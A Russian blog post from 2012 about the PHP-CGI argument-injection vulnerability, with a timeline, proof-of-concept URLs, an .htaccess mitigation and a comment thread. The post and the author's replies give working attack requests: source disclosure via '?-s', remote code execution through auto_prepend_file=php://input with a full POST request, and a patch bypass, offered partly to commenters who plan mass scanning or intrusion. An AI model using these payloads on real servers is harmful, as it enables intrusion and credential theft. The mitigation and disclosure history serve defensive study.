Выполнение произвольного кода на серверах с PHP CGI

Накануне был обнаружен, пожалуй, самый эпичный баг в истории PHP. Уязвимость позволяет атакующему выполнить произвольный код, используя лишь адресную строку браузера, на любом сервере, где PHP работает как CGI. Нашла уязвимость голландская команда Eindbazen, известная по своим выступлениям на различных CTF. Хронология событий:

13.01 – в ходе Nullcon HackIM CTF Eindbazen случайно находят 0day-уязвимость в PHP;
17.01 – Eindbazen отправляют баг-репорт разработчикам PHP;
03.05 – тикет в багтрекере PHP по непонятным причинам становится общедоступным, сведения об уязвимости появляются на reddit.com;
03.05 – в блоге Eindbazen появляется пост с PoC для просмотра исходного кода PHP-скрипта
04.05 – публикуется патч, “закрывающий” уязвимость
04.05 – тут же обнаруживается, что патч можно обойти; выпускается патч для патча, причем разработчики PHP не пишут, что нужно скачать новый патч. Все, кто скачал уязвимый патч думают, что уязвимость закрыта.
04.05 – в Metasploit появляется Remote Code Execution эксплоит.

Больше всего удивляют действия разработчиков PHP. В течение трех месяцев с момента багрепорта они так и не разработали решения устранения уязвимости, продолжая при этом выпускать новые версии PHP. О тикете, случайно ставшим публичным, думаю, вообще говорить нечего. Финал этой драматичной истории с выпуском патча на патч не кажется таким уж и непредсказуемым.

Просмотр исходного кода

/index.php?-s

Выполнение произвольного кода из Metasploit

/index.php?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input
POST: phpinfo();

Уязвимость распространяется на все сервера, где PHP работает как CGI-модуль; сервера с FastCGI не подвержены. Уязвимыми оказались целые хостинги, например мой хостер agava.ru. Вчера на любом их сайте, включая и здесь, можно было выполнить любой код и не только. Например, обращение по http://blog.agava.ru/wp-config.php?-s любезно предоставляло данные для подключения к базе данных:

Что делать?

Решить проблему может выпущенный патч, хотя вполне вероятно, что в будущем найдется обход и для него. На Suhosin patch также не стоит полагаться, так как для его обхода достаточно лишь указать параметр -n, и PHP-скрипт выполнится без учета директив в php.ini. Самый простой способ защититься – использовать .htaccess со следующими правилами:

RewriteEngine on
RewriteCond %{QUERY_STRING} ^[^=]*$
RewriteCond %{QUERY_STRING} %2d|\- [NC]
RewriteRule .? - [F,L]


27 комментариев

  1. Kuzya, 5. мая 2012, 16:31

    Жесть какая. Апокалипсис грядёт)
    Надеюсь с портами патчей не будут тянуть производители основных дистрибутивов типа Ubuntu, FreeBSD, Fedora Core.

     
  2. cat1vo, 6. мая 2012, 14:03

    Теперь каждый школьник станет хакером! 🙂

     
  3. HighExceL, 7. мая 2012, 15:04

    Собственно вопрос очевидны. есть ли доорк под подобную вещь. да и вообще как можно найти уязвимые сервачки имея пучку урлов?

     
  4. Raz0r, 7. мая 2012, 15:25

    Дорка нет, каждый сервер нужно смотреть отдельно. Определить уязвимо или нет – нужно отправить всего-навсего один запрос и смотреть на реакцию веб-сервера.

     
  5. HighExceL, 7. мая 2012, 15:34

    Можно хоть один сервачек для примера?

     
  6. Raz0r, 7. мая 2012, 15:47

    Здесь я не буду выкладывать адреса, видел на античате постили ссылки.

     
  7. xxx, 7. мая 2012, 18:03

    Почему бага работает на серваках и с FastCGI ?

     
  8. Bo0oM, 7. мая 2012, 19:33
  9. Raz0r, 7. мая 2012, 19:56

    @xxx в FastCGI параметры через stdin вообще не передаются, по идее не должно работать

     
  10. stalker37, 9. мая 2012, 7:25

    Мда, конечно… Сколько раз видел ситуации типа такой, столько же раз удивляюсь на производителей ПО: ну почему нельзя постараться исправить все как можно быстрее вместо того, чтобы тупить несколько месяцев и выпустить патч, который тоже нужно патчить.

     
  11. xxx, 9. мая 2012, 13:41

    @Raz0r,

    тем не менее, бага сработала – залил шелл, в phpinfo – fastCGI

     
  12. xbv, 16. мая 2012, 0:27

    @Raz0r

    Какой запрос и вообще как это заюзать?

     
  13. xbv, 16. мая 2012, 0:27

    – нужно отправить всего-навсего один запрос и смотреть на реакцию веб-сервера.

    плиз подробнее можно?

     
  14. Raz0r, 16. мая 2012, 11:44

    @xbv

    POST /index.php?-n+-dallow_url_include%3DOn+-dauto_prepend_file%3Dphp%3a%2f%2finput HTTP/1.1
    Host: site.com
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 28
    Connection: close
    
    <?php system("uname -a"); ?>
    
     
  15. xbv, 16. мая 2012, 17:18

    А чес посылать запрос удобнее всего?

     
  16. Raz0r, 16. мая 2012, 17:20
  17. xbv, 16. мая 2012, 17:55

    thank bro

     
  18. P1r0t3xn1k, 11. июня 2012, 13:13

    А каков % уязвимых сервачков в данный момент?

    Подумываю написать конвеер.

     
  19. Raz0r, 11. июня 2012, 13:25

    Уже поздно 🙂

     
  20. P1r0t3xn1k, 11. июня 2012, 13:51

    Всмысле все они пофикшены?

     
  21. Raz0r, 11. июня 2012, 13:54

    Не все конечно, но большая часть да.

     
  22. P1r0t3xn1k, 11. июня 2012, 13:57

    Можете дать пример уязвимого?

    Например с багой nginx (которая shell.gif/.php) досихпор встречаются сервера.

    Кстате, после первого патча был найден обход, а можно пример обхода?
    Тоесть там вообще 3 патча вышло вроде как.

     
  23. Raz0r, 11. июня 2012, 14:10

    >>Можете дать пример уязвимого?
    Здесь я не выкладываю ссылки на уязвимые сайты.

    >>а можно пример обхода?
    Для обхода нужно, чтобы в запросе присутствовало %3D
    /index.php?-s+%3D

    >>Тоесть там вообще 3 патча вышло вроде как.
    Да

     
  24. P1r0t3xn1k, 11. июня 2012, 14:12

    Тоесть /index.php?-s+%3D – универсально?

    Я имею ввиду что будет работать под не падченной системой, и под первым патчем одновременно? Или же прийдется делать 2 проверки?

     
  25. Raz0r, 11. июня 2012, 14:31

    По идее универсально, но если писать автомат, то нужно использовать второй вектор, а там %3D и так есть.

     
  26. P1r0t3xn1k, 11. июня 2012, 17:18

    Спасибо!

     
  27. AntonMK, 30. декабря 2012, 16:34

    Огромное спасибо теперь чужие фейки буду ломать

     

Write a comment: